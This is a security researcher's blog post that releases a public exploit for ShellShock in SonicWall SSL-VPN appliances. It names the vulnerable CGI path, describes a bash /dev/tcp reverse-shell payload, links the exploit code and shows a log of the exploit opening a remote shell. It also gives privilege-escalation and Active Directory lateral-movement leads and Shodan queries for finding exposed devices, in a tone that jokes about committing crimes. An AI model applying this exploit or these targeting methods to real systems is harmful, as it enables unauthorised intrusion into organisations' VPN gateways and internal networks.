VisualDoor: SonicWall SSL-VPN Exploit

darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/amp/

darrenmart January 24, 2021

darrenmart
1 year ago

I've been sitting on this one for quite a while now, and figured what with SonicWall back in the news for getting owned via some 0days in their own shit products, it would be somewhat amusing to release this. I'm fairly sure its patched by now. Anyway, its lockdown 3.0 so you should stay inside and do crime bug bounties. I've shared various versions of this exploit in the past with people, so its not exactly a huge secret.

This bug isn't even mine, it comes courtesy of Phineas Fisher, who used it to breach Hacking Team and later some other organisations. I would seriously advise aspiring hackers of any hat colour to closely study the work of Phineas for ideas on how they can improve their hacking. It's very instructive.

TL;DR: SonicWall "Virtual Office" SSL-VPN Products ship a fucking ancient version of Bash vulnerable to ShellShock, and are therefore vulnerable to unauthenticated remote code execution (as a "nobody" user) via the `/cgi-bin/jarrewrite.sh` URL.

The exploit is incredibly trivial. We simply spaff a shellshock payload containing a bash /dev/tcp backconnect at it, and we get a shell. Now, the environment on these things is incredibly limited – its stripped down Linux. But we have bash, openssl, and FTP. So you could always download your own toolkit for further exploitation.

Anyway, here is the public exploit. It is incredibly trivial and recycles the telnetlib handler for reverse shells from exploits released by Stephen Seeley.
https://github.com/darrenmartyn/visualdoor.

```
hax$ python visualdoor-public.py https://[redacted]


            88                                          88
            ""                                          88
                                                        88
8b        d8  88  ,adPPYba,  88       88  ,adPPYYba,  88
`8b      d8'  88  I8[    ""  88       88  ""     `Y8  88
 `8b    d8'   88   `"Y8ba,   88       88  ,adPPPPP88  88
  `8b,d8'     88  aa    ]8I  "8a,   ,a88  88,    ,88  88
    "8"       88  `"YbbdP"'   `"YbbdP'Y8  `"8bbdP"Y8  88


            88
            88
            88
     ,adPPYb,88   ,adPPYba,    ,adPPYba,   8b,dPPYba,
    a8"    `Y88  a8"     "8a  a8"     "8a  88P'   "Y8
    8b        88  8b       d8  8b       d8  88
    "8a,   ,d88  "8a,   ,a8"  "8a,   ,a8"  88
     `"8bbdP"Y8   `"YbbdP"'    `"YbbdP"'   88
    SonicWall SSL-VPN Appliance Remote Exploit
Public Release (Jan 2021). Author: Darren Martyn. Credit
goes to Phineas Fisher for this. Stay inside, do crimes.

(+) Testing https://[redacted] for pwnability...
(*) We can continue, time to wreck this shit.
(+) starting handler on port 1337
(+) Sending callback to [redacted]
(+) connection from [redacted]
(+) pop thy shell!
bash: no job control in this shell
bash-2.05b$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-2.05b$ cat /proc/version
Linux version 2.4.27 (root@svl0bld31) (gcc version 3.3.1) #1 SMP Mon Aug 13 03:18:17 GMT 2012
bash-2.05b$ bash --version
GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
Copyright (C) 2002 Free Software Foundation, Inc.
bash-2.05b$ exit
exit
*** Connection closed by remote host ***
hax$
```

Exploit in Action.

There is also a couple of ways to get root on these, the `dos2unix` program is setuid-root for a start. This can be abused by someone clever enough to get root. I've decided to leave this as an exercise for the reader and remove that function from the published exploit. The kernel is painfully ancient as well.

It should also be noted that these things talk to AD for authentication, and that in the ones I've come across while working, the /tmp directory is often littered with Kerberos authentication things. Phineas had another way of getting inside AD by simply replacing a CGI script with a trojan version that you could probably implement.

As for how many of these there are in the wild? A few thousand at least. I've not done any real scanning for obvious reasons of "I don't commit crimes", but the following Shodan searches show up a decent number of them:

`http.favicon.hash:-1153950306`

`http.favicon.hash:-2012355198`.
You can likely work out other Shodan queries for these and find a bunch more of them. I'm not particularly willing to bother poking random peoples VPN servers, and only have fingerprints for ones I encountered on engagements.

Anyway, the only recommendation I have if you use these products is to unplug them, douse them in kerosene, and set them on fire. It is the only way to be safe from something seemingly developed with this level of negligence.

Footnote: the webserver in use seems to be called "EasyAccess", with the CGI script living in the path: `/usr/src/EasyAccess/www/cgi-bin`. A very apt name, really.

Footnote 2.0, the other foot drops: SonicWall claim this was fixed in 2015, in this tweet.
Finally! Some answers! Good sports they were about it and all! SMA 8.0.0.4 is where it is finally killed off.
Still doesn't answer why they were using a Bash version from 2002, or a kernel version from like, 2005, but whatever. Nothing new in the world of appliances, really.